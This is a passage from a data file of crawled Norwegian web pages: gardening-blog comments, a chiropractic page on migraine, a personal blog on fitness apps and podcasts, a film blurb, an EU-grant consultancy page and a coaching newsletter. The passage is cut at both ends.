ting s\u00e5 utrolig komplisert, n\u00e5r det ofte er enkelt. Naturligvis finnes det unntak som krever at man danser tilbedningsdansen tredje m\u00e5neskinsdag med rosa hatt p\u00e5, men de h\u00f8rer jo til unntaket ;)  \n  \nJeg la lenke til artikkelen p\u00e5 Moseplassens Facebookside, s\u00e5 n\u00e5r den kanskje noen flere.  \nLegger til bloggen din p\u00e5 Hagebloggerlisten senere i dag, hyggelig at du vil med.\n\n 2. august 2010 kl. 13:20    \n\n\n\n\n\nVivi sa...\n\nVeldig bra og veldig nyttig lesing.  \nTar med meg tips og r\u00e5d n\u00e5 utover h\u00f8sten.\n\n 2. august 2010 kl. 14:59    \n \n\nDette var nyttig lesing\\! Takk for gode tips. Har tenkt \u00e5 pr\u00f8ve meg p\u00e5 dette - driver \u00e5 anlegger hagen p\u00e5 nytt etter at nesten alle plantene ble borte etter graving til vann og kloakk. M\u00e5 bare f\u00e5 tak i fr\u00f8\\!\n\n 2. august 2010 kl. 19:46    \n\n\n\n.jpg)\n\nnina sa...\n\nHuff, Gretchen - det h\u00f8res lite hyggelig ut \u00e5 f\u00e5 hagen gravd opp\\! I tillegg til \u00e5 bestille fra fr\u00f8firmaer er det et godt tips \u00e5 stjele/tigge fr\u00f8 fra hager i nabolaget - stauder som trives hos naboen trives som oftest ogs\u00e5 hos deg :-) Lykke til\\!  \n  \nTakk for hyggelige ord, Vivi - og takk for lenkingen, Anne\\!  \n  \nJeg har for\u00f8vrig stor tro p\u00e5 dansing i m\u00e5neskinn med rosa hatt, og gjerne messende noen saftige trylleformularer\\! :-)\n\n 3. august 2010 kl. 17:54    \n\n \n\nnovise sa...\nDenne kommentaren har blitt fjernet av forfatteren.\n\n 16. august 2010 kl. 10:23    \n\n \n\nnovise sa...\n\nS\u00e5 flott blogg\\!  \nJeg har n\u00e5 s\u00e5dd fr\u00f8 fra riddersporer og lupiner.  \nHvordan skal fiberduken over pottene n\u00e5r de st\u00e5r ute i \"ramme\" v\u00e6re? Skal lyset komme gjennom?  \nLeste et annet sted hvor de anbefaler sort plastfolie til fr\u00f8ene spirer.  \nHva er best?  \nOg kan du skrive noe om hvor mye/ofte vanner du fr\u00f8ene f\u00f8r de spirer?\n\n 16. august 2010 kl. 10:31    \n\n\n\n.jpg)\n\nnina sa...\n\nS\u00e5 flink du er som h\u00f8ster egne fr\u00f8\\! :-) Jeg skriver et lite blogginnlegg som svar - der er det bedre plass til \u00e5 svare skikkelig.  \nTakk for hyggelige ord om bloggen\\!  \n:-)\n\n 17. august 2010 kl. 00:28    \n\n## Litt om meg selv:\n\nBor p\u00e5 L\u00f8renskog med stor hage stappfull av prosjekter i alle stadier. Tok gartnerutdannelse i godt voksen alder, og driver et lite r\u00e5dgivningsfirma (Hageflekken) innen hagebruk. Er mer opptatt av hageglede og hageundring enn av golfplen og perfekte bedkanter....... :-)  \n\n    \n\n", "language": "no", "__index_level_0__": "1850ac48-1ce0-4497-8f38-4febe91ec7e4"}
{"url": "http://kiropraktorgruppen.no/hodepine/migrene", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:16:55Z", "text": "# Migrene\n\nMigrene er et stort og underdiagnostisert problem. Hver m\u00e5ned er over 30.000 nordmenn borte fra jobb eller skole p\u00e5 grunn av migrene.Migrene skiller seg klart fra andre typer hodepine og kan inndeles i klassisk og vanlig migrene. Klassisk migrene har karakteristiske forvarsler f\u00f8r smertene inntreffer som kalles for aura, mens ved vanlig migrene er det ingen aura.\n\nDet er viktig \u00e5 ikke glemme at migrenepasienten ogs\u00e5 kan ha annen type hodepine i tillegg til migrenen. Migrene er et stort og underdiagnostisert problem. Det er fortsatt mange ubesvarte sp\u00f8rsm\u00e5l n\u00e5r det gjelder hva migrene egentlig skyldes. I dag har en nok kunnskap til \u00e5 si at migrene skyldes en komplisert kombinasjon av arvelige forhold, en rekke indre faktorer i kroppen samt ytre faktorer i milj\u00f8et. Anfallene skyldes biokjemiske reaksjoner i den delen av nervesystemet som regulerer blodsirkulasjonen til hjernen.\n\n## Vanlige symptomer\n\nMigreneanfall viser stor variasjon, fra milde og raskt forbig\u00e5ende anfall til dramatiske anfall med intense smerter opptil 2-3 d\u00f8gn. De fleste migreneanfall f\u00f8lger et bestemt m\u00f8nster og kan inndeles i en aurafase og en smertefase.\n\n## Anfallshyppighet\n\nNoen har 1-2 anfall i m\u00e5neden, andre kan ha 3-4 anfall i uken.  \nEt anfall kommer gjerne n\u00e5r man skal slappe av som i helgen eller i begynnelsen av ferien. Kvinner kan ha regelmessige anfall i sammenheng med menstruasjonssyklusen. Det vanligste er at anfallet strekker seg over en dag. Pasienten kjenner allerede fra morgenen av at han vil f\u00e5 migrene og anfallet er som regel over til neste dag. Barn har ofte kortvarige anfall som varer i f\u00e5 timer.\n\n## Klassisk migrene\n\n  - Anfallet starter med at blod\u00e5rene i hjernen trekker seg sammen i 15-20 min. Pasienten vil da ofte f\u00e5 et forvarsel om at anfall er underveis i form av flimmer eller lysglimt foran \u00f8ynene. Forvarsler varierer mye fra person til person og kan inneb\u00e6re prikking og nummenhet i arm og fot, lette lammelser, oppkast og diar\u00e9, uro og hjertebank.\n  - Deretter kommer en fase med kraftig smerte i den ene halvdelen av hodet. Smertene er ofte verst i tinning, panne eller bak \u00f8ynene.\n  - Et anfall kan vare fra f\u00e5 timer til 2-3 dager og ledsages ofte av kvalme, svimmelhet og lys\u00f8mfintlighet.\n\n## Vanlig migrene\n\n  - Ved vanlig migrene kommer smertene normalt uten forvarsel som flimmer og lysglimt foran \u00f8ynene\n  - Hodesmerten er som regel jevnere fordelt enn ved klassisk migrene, men som regel halvsidige\n  - Kvalme er mindre vanlig\n  - Felles for b\u00e5de klassisk og vanlig migrene er overf\u00f8lsomhet for lys og lyd\n\n## Migreneutl\u00f8sende faktorer\n\n  - Feilfunksjoner i nakke\n  - Triggerpunkter i nakke- og kjevemuskulatur\n  - Stress\n  - Sterkt lys\n  - St\u00f8y\n  - Intense dufter (parfyme)\n  - Uregelmessig livsf\u00f8rsel\n  - Manglende v\u00e6skeinntak\n  - Intoleranse for enkelte matvarer\n  - Hormonelle faktorer som menstruasjon og graviditet\n\n## Kiropraktisk behandling\n\nKiropraktisk behandling har vist seg \u00e5 kunne redusere migrenens anfallshyppighet og intensitet. Vi anbefaler derfor alle migrenepasienter \u00e5 f\u00e5 unders\u00f8kt og behandlet alle migreneutl\u00f8sende faktorer i muskelskjelettsystemet.\n\nHovedm\u00e5lsettingen ved kiropraktorbehandling er \u00e5 redusere smerte, fremme generell helse og \u00f8ke livskvalitet ved \u00e5 gjenopprette normal funksjon i bevegelsesapparat og nervesystem. I behandlingen av den enkelte pasient legger vi vekt p\u00e5 \u00e5 se pasienten i et helhetsperspektiv etter en totalvurdering. Kiropraktoren bruker hovedsakelig hendene i selve behandlingen og utf\u00f8rer en rekke metoder og teknikker for \u00e5 gjenopprette normal funksjon i ryggens ledd, muskler, bindevev og nervesystem.\n\n  - Spesifikk leddbehandling\n  - T\u00f8yninger\n  - Muskul\u00e6re teknikker\n  - Nevrologiske vurderinger\n  - Stabiliserende trening\n  - \u00d8velser, r\u00e5d og veiledning\n\n## Dette kan du selv gj\u00f8re ved anfall\n\n  - Opps\u00f8ke et stille, kj\u00f8lig og m\u00f8rkt rom under migreneanfall\n  - Noen finner best lindring i \u00e5 ligge, andre liker \u00e5 sitte\n  - Kj\u00f8l ned pannen med kalde omslag\n  - Moderne migrenemedikamenter kan for mange gi effektiv lindring, stoppe eller utsette anfall\n  - Medikamenter er tilgjengelig som nesespray, injeksjoner og stikkpiller hvis kvalme og oppkast forhindrer inntak av tabletter\n\n## Slik kan du selv forebygge\n\nHvilke faktorer som utl\u00f8ser migrene vil variere fra person til person. Pr\u00f8v deg systematisk fram etter eliminasjonsmetoden. Det kan v\u00e6re nyttig \u00e5 f\u00f8re en hodepinedagbok for \u00e5 f\u00e5 kunnskap om ditt eget hodepinem\u00f8nster\n\n  - Lev regelmessig og s\u00f8rg for f\u00e5 nok s\u00f8vn\n  - St\u00e5 opp til samme tid hver dag, ogs\u00e5 i helgene, g\u00e5 heller \u00e5 legg deg igjen senere\n  - Unng\u00e5 mat og drikke som gir anfall\n  - Skjerm \u00f8ynene for sterkt sollys og bruk gjerne m\u00f8rke solbriller\n  - Unng\u00e5 aktiv og passiv r\u00f8yking\n  - Unng\u00e5 sterke dufter, parfyme kan utl\u00f8se anfall\n\n## Kiropraktoren nerve,- muskel- og skjelettekspert\n\nEn kiropraktor er spesialist p\u00e5 plager i bevegelsesapparat og nervesystem. De vanligste muskelskjelettlidelsene som kiropraktoren behandler er ryggsmerter, nakke- og skuldersmerter, hodepine, migrene, svimmelhet, armsmerter, bensmerter og bekkensmerter. Denne ekspertisen har en kiropraktor tilegnet seg gjennom:\n\n  - 5-6 \u00e5rs universitetsutdannelse\n  - 1 \u00e5rs offentlig turnustjeneste\n  - Autorisasjon\n\nLandets offentlig godkjente kiropraktorer hjelper Norges befolkning til en bedre hverdag. Hvert \u00e5r utf\u00f8rer norske kiropraktorer n\u00e6rmere 2 millioner unders\u00f8kelser og behandlinger.\n\n### Hva er informasjonskapsler? ( cookies)\n\nInformasjonskapsler er filer som opprettes av nettsteder du bes\u00f8ker. Informasjonskapsler lagrer informasjon, for eksempel innstillingene dine eller profilinformasjonen din for et nettsted. Det finnes to typer informasjonskapsler:\n\n  - Informasjonskapsler fra f\u00f8rstetilbydere opprettes av nettstedet som vises i adressefeltet.\n  - Informasjonskapsler fra tredjeparter kommer fra andre nettsteder som har ting som annonser eller bilder innebygd p\u00e5 siden du bes\u00f8ker.\n\nIkke alle informasjonskapsler er d\u00e5rlige. Informasjonskapsler kan for eksempel hjelpe et nettsted med \u00e5 huske innstillingene du foretrekker, slik at de kan lastes inn n\u00e5r du kommer tilbake til nettstedet neste uke. Informasjonskapsler kan ogs\u00e5 hjelpe nettsteder med \u00e5 huske hvor du befinner deg, slik at du kan f\u00e5 lokalt relevant innhold, som for eksempel v\u00e6ret.\n\n", "language": "no", "__index_level_0__": "75b44ffb-deac-4276-9395-d9f2c8fb2a01"}
{"url": "http://www.sondreolsen.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:42:33Z", "text": "** 30. mars 201631. mars 2016** sondreolsen\n\n## Den beste appen for l\u00f8ping og sykling\n\n\n\nI fjor begynte jeg (endelig) for alvor \u00e5 trene mer enn litt innefotball en gang i uken. Det skjer faktisk av og til at nyttforsett blir fulgt opp. Jeg er veldig glad i tekniske dippedutter, og det kom ogs\u00e5 til hjelp for \u00e5\u00a0motivere meg til trening. S\u00e5 like etter nytt\u00e5r i fjor, kj\u00f8pte jeg meg sportsklokken TomTom Multi-Sport Cardio. Les test av den her. Det som er aller kjekkest med den, er at du slipper \u00e5 ha pulsbelte rundt brystet. Pulsm\u00e5leren er nemlig integrert i selve klokken. Fiffig\\! Klokken kan ogs\u00e5 sende data til forskjellige treningsapper, og du er ikke l\u00e5st til TomTom sin egenproduserte.\n\nJeg begynte \u00e5 jogge omtrent tre ganger i uken de f\u00f8rste m\u00e5nedene i 2015. S\u00e5 i mars begynte jeg \u00e5 sykle. Etter fire-fem\u00a0sykkelturer p\u00e5 en ganske tung offroad-sykkel, ble det innkj\u00f8p av en landeveissykkel av typen Scott Speedster, en av de billigste variantene hos XXL. Jeg har ingen sammenligningsgrunnlag, og det er sikkert greiest\u00a0s\u00e5nn. Sykkelen funker supert for meg. Den har gir som funker, er selvf\u00f8lgelig mye lettere enn alle andre sykler jeg har syklet p\u00e5 tidligere, og den har to hjul.\n\nJeg liker \u00e5 m\u00e5le for \u00e5 vite\u00a0hva slags progresjon jeg har \u2013 og selvf\u00f8lgelig ogs\u00e5 n\u00e5r det gjelder trening. Det finnes et hav av\u00a0apper til treningsbruk, og jeg har pr\u00f8vd litt forskjellige, slik som Endomondo, RunKeeper, TomTom Mysport og Strava. De er gode alle sammen, men til sykling og l\u00f8ping er jeg ikke i tvil om at jeg vil anbefale Strava fremfor de andre.\n\nStrava har den morsomme og smarte funksjonen som lar deg l\u00f8pe mot deg selv, som kalles \u00absegments\u00bb. Du trenger heller ikke betalingsversjonen for \u00e5 kunne bruke denne funksjonen. Andre treningsapper har ogs\u00e5 noe lignende, men Stravas \u00absegments\u00bb er i en egen klasse. Her kan du selv lage strekninger (segments), og hvis du l\u00f8per eller sykler der andre har laget en strekning, f\u00e5r du automatisk opp tiden din p\u00e5 denne ogs\u00e5. Du kan ogs\u00e5 se hvilken tid andre Strava-brukere har oppn\u00e5dd p\u00e5 den samme strekningen. Det mest nyttige er \u00e5 se egen progresjon p\u00e5 strekningen fra gang til gang.\u00a0Selv sjekker jeg spesielt et par krevende bakker hvor jeg hele tiden pr\u00f8ver \u00e5 forbedre tiden min.\n\nS\u00e5 hvis du f\u00f8ler du trenger \u00e5 vekke konkurranseinstinktet litt, s\u00e5 kan Strava v\u00e6re en god hjelper.\n\n\n\n\u00a0\n\n\n** 29. mars 201629. mars 2016** sondreolsen\n\n## En mobiltelefon med batteri\n\nEtter mange \u00e5r med iPhone, endte jeg over p\u00e5 Android-universet i fjor. Mest av alt fordi jeg synes iPhone er fryktelig dyrt, for dyrt for ikke altfor mye moro. Litt fordi jeg tenkte det var p\u00e5 tide \u00e5 finne ut om Android fungerte greit n\u00e5r man f\u00f8rst l\u00e6rte seg systemet. Den st\u00f8rste grunnen var nok at iPhonen min tok kvelden etter en fuktig tur \u2013 en sykkeltur. Jeg trodde sadelvesken min var vanntett. Det var den ikke.\n\nEtter n\u00e6rmere et \u00e5r med min Sony Xperia Z3 er det fullstendig uaktuelt \u00e5 g\u00e5 over til iPhone igjen. N\u00e5r man f\u00f8rst har l\u00e6rt seg Android, fungerer det finfint, og du f\u00e5r mobiler til en br\u00f8kdel av prisen til iPhone som er minst like raske. Og som har et batteri som virker. Jeg har hatt flere iPhoner, men de var sv\u00e6rt lite mobile . Jeg m\u00e5tte alltid vite hvor n\u00e6rmeste stikkontakt var. Jeg anbefaler iPhone kun til de over 60 \u00e5r og endelig skal g\u00e5 over til touch-telefon. iPhone er superenkelt, og for de som har litt tungt for det p\u00e5 teknologi-fronten, er den helt perfekt. Hvis ikke, s\u00e5 anbefales alts\u00e5 en touch-telefon med batteri.\n\n\n\n** 27. mars 201627. mars 2016** sondreolsen\n\n## De beste podcastene\n\n\n\nDet siste \u00e5ret har jeg plutselig blitt en som h\u00f8rer ganske mye p\u00e5 podcaster. Takket v\u00e6re en del trilleturer med barnevogn og at jeg har en b\u00e5ttur til jobben som tar 25 minutter, har jeg ofte litt ledig tid til \u00e5 ha noe lyd p\u00e5 \u00f8ret. Og det er egentlig ganske finfint.\n\nHar du iPhone, s\u00e5 er det sikkert helt fint \u00e5 h\u00f8re podcaster i appen *Podcasts*. I Android er det ikke forh\u00e5ndsinstallert en app til \u00e5 h\u00f8re p\u00e5 podcaster, s\u00e5vidt jeg kan huske. Selv bruker jeg *Pocket Casts*\u00a0p\u00e5 min Sony Xperia Z3, og det funker suverent.\n\nDe store mediehusene har begynt \u00e5 produsere stadig flere podcaster. Bare VG har vel 6-7 podcaster som de pusher ut ukentlig. S\u00e5 det er en herlig jungel \u00e5 utforske. Her er forslag til noen du kan sjekke ut, som jeg absolutt vil anbefale:\n\n**Aftenpodden:** \u00abF\u00e5 med deg ukens mest engasjerende saker innenfor politikk og samfunn, med Aftenpostens politiske journalist Lars Glomnes, politisk redakt\u00f8r Trine Eilertsen og kulturredakt\u00f8r Sarah S\u00f8rheim.\u00bb Dette er den\u00a0desidert mest artige\u00a0podcasten om politikk og samfunn. Smarte mennesker alle tre\u00a0og spesielt Eilertsen og S\u00f8rheim er sv\u00e6rt meningssterke. Samtalen flyter veldig godt hele tiden, og de virker til \u00e5 ha det artig n\u00e5r de lager episodene. Ganske h\u00f8y nerdefaktor av og til, spesielt takket v\u00e6re Eilertsen som har hang-up p\u00e5 alt av politiske reformer som er gjennomf\u00f8rt eller er p\u00e5 vei.\u00a0Lenke til podcasten\u00a0i iTunes her og i Pocket Cast her.\n\n**Gi\u00e6ver og Joffen:** \u00abI Gi\u00e6ver og Joffen oppsummerer VGs skarpeste og morsomste kommentatorer Anders Gi\u00e6ver og Frithjof Jacobsen nyhetsuka sammen med gjester. @GiaeverogJoffen.\u00bb Dyktige journalister som spesielt gir godt innblikk i den spr\u00f8 amerikanske politikken. Av og til noen spesialepisoder, slik som om Netflix-serien Making a Murderer og David Bowie. Dessverre slipper de litt for ofte til Hanne Skartveit som nesten bare vil snakke om hvor f\u00e6lt hun synes det\u00a0er at det kommer s\u00e5 mange flyktninger til Norge. N\u00e5 har Skartveit f\u00e5tt seg en egen podcast, s\u00e5 det er nok like greit.\u00a0Lenke til podcasten i iTunes her\u00a0og i Pocket Cast her.\n\n**Intro Oslo:** \u00abEn kirke for de som ikke er s\u00e5 vant til \u00e5 g\u00e5 i kirken.\u00bb Gode taler med enkelt spr\u00e5k, av den sterkt voksende kirken Intro i Oslo. Flest taler her av br\u00f8drene David og Andreas Hassel\u00f8y som du b\u00f8r f\u00e5 med deg. Lenke til podcasten i iTunes her og i Pocket Cast her.\n\n**NRK beta:** \u00abVi er NRKs sandkasse for teknologi og nye medier. Her f\u00e5r du et dypdykk i det vi jobber med og tenker p\u00e5.\u00bb Spr\u00f8tt flinke folk som\u00a0hjelper meg \u00e5 holde meg oppdatert p\u00e5 teknologi-fronten. Tidvis skyh\u00f8y nerdefaktor (how I love it\\!). Lenke til podcasten i iTunes her og i Pocket Cast her.\n\n**Politisk kvarter:** \u00abPolitisk kvarter tar norsk politikk p\u00e5 pulsen. Debatter, intervjuer og analyser p\u00e5 direkten i P2 kl 0745 mandag \u2013 fredag morgen. Programledere: Lilla S\u00f8lhusvik, H\u00e5vard Gr\u00f8nli, Astrid Randen, Bj\u00f8rn Myklebust.\u00bb Politisk kvarter m\u00e5 nesten med fordi den ganske ofte har debatter som er nyttige og viktige. Men det er nok dessverre litt for ofte litt vel mange skolerte politikere som du enkelt kunne fullf\u00f8rt setningene til siden de er s\u00e5pass forutsigbare. Fint med en podcast som kommer ut hver ukedag slik at man alltid har noe \u00e5 lytte p\u00e5. Dyktige programledere, spesielt Bj\u00f8rn Myklebust.\u00a0Lenke til podcasten i iTunes her og i Pocket Cast her.\n\n**Salt Bergenskirken:** \u00abV\u00e5r LIVSVISJON er \u00e5 lede mennesker til et bedre liv, gjennom etterf\u00f8lgelse av Jesus. V\u00e5r MENIGHETSVISJON er \u00e5 bygge en sterk og stadig voksende lokalmenighet, som kontinuerlig ekspanderer til nye nettverk og omr\u00e5der, gjennom multiplikasjon av v\u00e5rt kall, kultur og menighetsfellesskap.\u00bb Gode taler som blir lagt ut raskt etter m\u00f8tene s\u00e5nn at du kan h\u00f8re de p\u00e5 vei til eller fra jobb allerede mandag. Mange forkynnere med\u00a0store talegaver og bra budskap. De aller fleste talene er av hovedpastor \u00d8ystein Gjerme. Har du ikke h\u00f8rt han tale, har du virkelig g\u00e5tt glipp av noe. Lenke til podcasten i iTunes her og i Pocket Cast her.\n\n**Ul\u00f8st:** \u00abI 1995 ble 17 \u00e5r gamle Birgitte Tengs funnet drept p\u00e5 Karm\u00f8y. Ingen har blitt d\u00f8mt for drapet. 20 \u00e5r senere sp\u00f8r vi hva som gikk galt med etterforskningen. Gjennom seks episoder forteller vi historiene fra menneskene som jobbet med saken og om to familier med hver sin versjon av sannheten. Ul\u00f8st er laget av VG og Rubicon.\u00bb Tidenes mest interessante podcast, og jeg h\u00f8rte gjennom de seks episodene p\u00e5 to dager. Det kommer nye episoder senere i \u00e5r visstnok, og da med en ny ul\u00f8st sak. Lenke til podcasten i iTunes her og i Pocket Cast her.\n\nHar du forslag til andre podcaster jeg b\u00f8r abonnere p\u00e5?\n\n** 21. mars 201625. mars 2016** sondreolsen\n\n      \n  - RT @OdaEWTvedt: Kudos til folkene i klippen p\u00e5 \\#nyttp\u00e5nytt. Kryss-klippen Erna og Sylvi var legendarisk.\n    \n      \n", "language": "no", "__index_level_0__": "b53e8db4-ef2e-49fa-8675-5ccd41517b01"}
{"url": "http://www.arthaus.no/kommer/article949533.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:10:04Z", "text": "\u00a0\nDet franske tidskriftet \"Charlie Hebdo\" er kjent for sin satiriske brodd og sin hang til \u00e5 utfordre autoriteter. I l\u00f8pet av sin seksten\u00e5rige historie har magasinet hisset p\u00e5 seg det meste som kan krype og g\u00e5 av offentlighetspersoner i Frankrike. Da de publiserte de danske Muhammed-karikaturene i 2006 var de derfor forberedt p\u00e5 de sedvanlige reaksjonene fra det franske samfunnet. Rabalderet som fulgte i kj\u00f8lvannet av karikaturene tok de garvede provokat\u00f8rene p\u00e5 sengen. Etter heftige protester og obligatoriske d\u00f8dstrusler, ble \"Charlie Hebdo\" nemlig sakts\u00f8kt av en sammenslutning av franske muslimske organisasjoner.  \n  \nIT'S HARD BEING LOVED BY JERKS skildrer denne rettssaken, som er blitt kalt det tjuef\u00f8rste \u00e5rhundrets f\u00f8rste store rettssak. Regiss\u00f8r Daniel Leconte har laget film av hele prosessen, og gir oss sjansen til \u00e5 f\u00f8lge et av 2000-tallets mest debatterte temaer gjennom rettssystemet. Diskusjonen om hvor grensene for ytringsfrihet g\u00e5r ber\u00f8rer oss alle i st\u00f8rre eller mindre grad. Her kan du plukke opp noen skitne knep - uansett hvilken side du st\u00e5r p\u00e5.  \n  \nIT\\`S HARD BEING LOVED BY JERKS er en av Arthaus\\` ekstraordin\u00e6re filmer. Disse blir ikke satt opp p\u00e5 ordin\u00e6re kinovisninger, men blir vist p\u00e5 filmklubber, cinemateker og filmfestivaler over hele landet fra mars 2009.\n\n\u00a0\n\n# Arthaus - Stiftelsen for filmkunst\n\n", "language": "no", "__index_level_0__": "3daef7bd-60e2-4c46-9190-48e7d2f7d95d"}
{"url": "http://nordicinnovators.no/eu-kontraktforhandling", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:08:55Z", "text": "### En god EU s\u00f8knad resulterer i beste fall til en invitasjon til kontraktforhandlinger mellom prosjektkonsortiet og Kommisjonen. En invitasjon kan ikke anses som et endelig tilsagn, men som det siste trinnet i prosessen fram mot endelig bevilgning. Etter kontraktforhandlingen kan du begynne den egentlige prosjektimplementering og gjennomf\u00f8relse av aktivitetene som beskrevet i s\u00f8knaden. \u00a0  \n  \nHos Nordic Innovators har vi koordinert og tilrettelagt et stort antall suksessfulle kontraktforhandlinger, vi besitter den n\u00f8dvendige kunnskap og erfaring til \u00e5 hjelpe ditt prosjekt trygt igjennom prosessen.\n\n**Kontraktforhandlingsprosess: Grant Agreement, GPF og DoW**  \n  \nEtter en suksessfull evalueringsprosess inviteres hele konsortiet, best\u00e5ende av alle prosjektpartnerne, til forhandlinger med Kommisjonen. Koordinator er den som mottar invitasjonsbrevet, og brevet fastlegger de \u00f8konomiske rammer for prosjektet, beskriver prosessen i forhold til ferdiggj\u00f8relse av Grant Agreement og fastsetter en frist for n\u00e5r dette skal v\u00e6re ferdig. Grant Agreement danner grunnlaget for konsortiets forpliktelser overfor Kommisjonen og prosjektpartnernes forpliktelser overfor hverandre.  \n  \nSom et ledd i utarbeidelsen av Grant Agreement, skal alle partnerne i konsortiet fylle ut Grant Preparation Forms (GPF) med kontraktrelevant informasjon og Description of Work (DoW) skal utarbeides. DoW er i prinsippet den opprinnelige EU s\u00f8knad skrevet p\u00e5 nytt, her skal Kommisjonens kommentarer og rettelser innf\u00f8res. N\u00e5r b\u00e5de GPF og DoW er godkjent av Kommisjonen fremsendes kontrakten til underskrift. Hver partner skal underskrive Form A \u2013 accession to contract.  \n  \n**Konsortium Avtale (Consortium Agreement)**  \n  \nN\u00e5r kontrakten med Kommisjonen faller p\u00e5 plass, skal konsortiet utarbeide en 'Konsortium Avtale' som skal fastlegge f\u00f8lgende forhold:\n\n  - Konsortiets interne organisasjon\n  - Fordeling av finansieringen fra Kommisjonen\n  - Strategi for formidling og utnyttelse av prosjektets resultater, inklusiv IPR strategi og fordeling\n  - Hvordan eventuelle uenigheter mellom partnerne l\u00f8ses og avgj\u00f8res\n\n  \n**Hvordan kan vi hjelpe med din kontraktforhandling?**  \n  \nVi har stor erfaring med \u00e5 gjennomf\u00f8re suksessfulle kontraktforhandlinger med Kommisjonen og har utarbeidet utallige Konsortium Avtaler. Typisk gjennomf\u00f8rer vi og assisterer p\u00e5 f\u00f8lgende oppgaver:\n\n  - Vi utarbeider gratis en prosjektetableringss\u00f8knad (PES2020) som er med til \u00e5 finansiere v\u00e5r involvering i kontraktforhandlingen, typisk for Koordinator\n  - Avhengig av ditt konkrete behov p\u00e5tar vi oss prosjektlederrollen, utarbeider GPF, koordinerer og utarbeider DoW og lager utkast til Konsortium Avtale\n  - Deretter koordinerer og assisterer vi konsortiet i forhold til endelig innhold i Konsortium Avtalen\n  - Deltager p\u00e5 kontraktforhandlingsm\u00f8te med Kommisjonen og de \u00f8vrige prosjektpartnere hvis \u00f8nskelig\n\n  \nDersom du har mottatt en suksessfull evaluering p\u00e5 en s\u00f8knad til Horisont 2020, ta kontakt med Kenneth Junge Hermansen p\u00e5 +45 3120 5538 eller skriv en e-post til email@example.com og f\u00e5 en uformell samtale\u00a0om hvordan vi kan hjelpe.\n\n### Kontakt Kenneth for mer informasjon\n\n  \n", "language": "no", "__index_level_0__": "e540603c-0d53-4d81-b0eb-8005998087e5"}
{"url": "http://tirsdagmorgen.no/ukebrev/tm133/tirsdag-morgens-julekavalkade-2017/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:35:42Z", "text": "### Julen 2017\n\nUkebrevet Tirsdag morgen tar noen ukers kunstpause. Takk for at du f\u00f8lger bloggen og abonnerer p\u00e5 ukebrevet. Min lille gave til deg er et utvalg ukebrev jeg er litt ekstra godt forn\u00f8yd med. H\u00e5per du blir det ogs\u00e5. Under er de beste ukebrevene fra 2017. Ogs\u00e5 tilgjengelig som PDF.\n\nGod jul, og gode nye tirsdager i 2018\\!\n\n\n\n## Hvordan er det \u00e5 ri p\u00e5 en lysstr\u00e5le? Sp\u00f8rsm\u00e5l forandrer din verden. Ikke svar\n\n**Hvor ville menneskeheten v\u00e6rt i dag om ikke Albert Einstein hadde spurt seg selv hvordan det er \u00e5 ri p\u00e5 en lysstr\u00e5le?**\n\nJeg vet ikke hvordan det er med deg, men i blant har jeg et forklaringsbehov for karrieren min. Veien fra journalist til coach er ikke alltid like innlysende.\u00a0Men det fins en r\u00f8d tr\u00e5d, og det er sp\u00f8rsm\u00e5lene. Jeg har alltid f\u00e5tt betalt for \u00e5 stille sp\u00f8rsm\u00e5l, og overlate til andre \u00e5 gi svar.\n\nDet har v\u00e6rt ment halvveis som fleip, men jeg ser at det er noe viktig i den observasjonen.\n\nGode svar er det nok av.\n\nDet er mye lengre mellom de gode sp\u00f8rsm\u00e5lene.\n\nI boken \u00abThe Inevitable\u00bb reflekterer forfatteren Kevin Kelly over hva sp\u00f8rsm\u00e5lene betyr for vitenskapen.\n\n\u00abHvis v\u00e5r kunnskap vokser eksponentielt p\u00e5 grunn av nye vitenskapelige verkt\u00f8y burde vi snart slippe opp for g\u00e5ter\u00bb, skrive han og p\u00e5peker at det ikke er s\u00e5nn det er. Tvert i mot. Hvert nytt svar \u00e5pner for en flom av nye sp\u00f8rsm\u00e5l og synliggj\u00f8r omr\u00e5der vi ikke en gang visste at det var noe \u00e5 vite om.\n\n**\u00abMed andre ord er vitenskap en metode som f\u00f8rst og fremst utvider v\u00e5r uvitenhet, ikke v\u00e5r kunnskap\u00bb, skriver han.**\n\nDa Einstein som guttunge lurte p\u00e5 hvordan verden ser ut n\u00e5r du rir p\u00e5 en lysstr\u00e5le var vi i starten av et \u00e5rhundre hvor menneskeheten skrelte lag p\u00e5 lag av en l\u00f8k av stadig nye sp\u00f8rsm\u00e5l. Det ga oss relativitetsteorien og atomfysikk og mye mer jeg ikke er kompetent til \u00e5 gi svar p\u00e5.\n\nMen en ting forst\u00e5r jeg: vi er enn\u00e5 langt fra kjernen av den l\u00f8ken.\n\nOg det startet med et skikkelig nerdete sp\u00f8rsm\u00e5l.\n\nI arbeidslivet bel\u00f8nnes i f\u00f8rste omgang din evne til \u00e5 gi svar. Jo bedre svar du greier \u00e5 finne, jo raskere rykker du opp i gradene. Gitt, selvf\u00f8lgelig, at du har et par andre kvaliteter ogs\u00e5.\n\nMen p\u00e5 et visst tidspunkt p\u00e5 karri\u00e9restigen blir din evne til \u00e5 gi svar en utfordring. For plutselig en dag sitter du der som leder av en haug andre dyktige svarprodusenter.\n\nDet krever for mange en mental kraftanstrengelse, spesielt hvis du ser at svarene du f\u00e5r har en lavere kvalitet eller en annen lukt og farge enn du selv som fagperson ville produsert.\n\nMen hver gang du overkj\u00f8rer en av dine ambisi\u00f8se medarbeidere med et svar som er bedre enn de selv har funnet, s\u00e5 dreper du ogs\u00e5 litt av deres motivasjon.\n\n**Derfor handler ofte overgangen til en ny lederrolle om en overgang fra \u00e5 v\u00e6re han som har alle de gode svarene til han som har alle de gode sp\u00f8rsm\u00e5lene.**\n\nDet kan v\u00e6re skikkelig t\u00f8ft.\n\nGod tirsdag.\n\n### Kilder og inspirasjon\n\nI boken\u00a0The 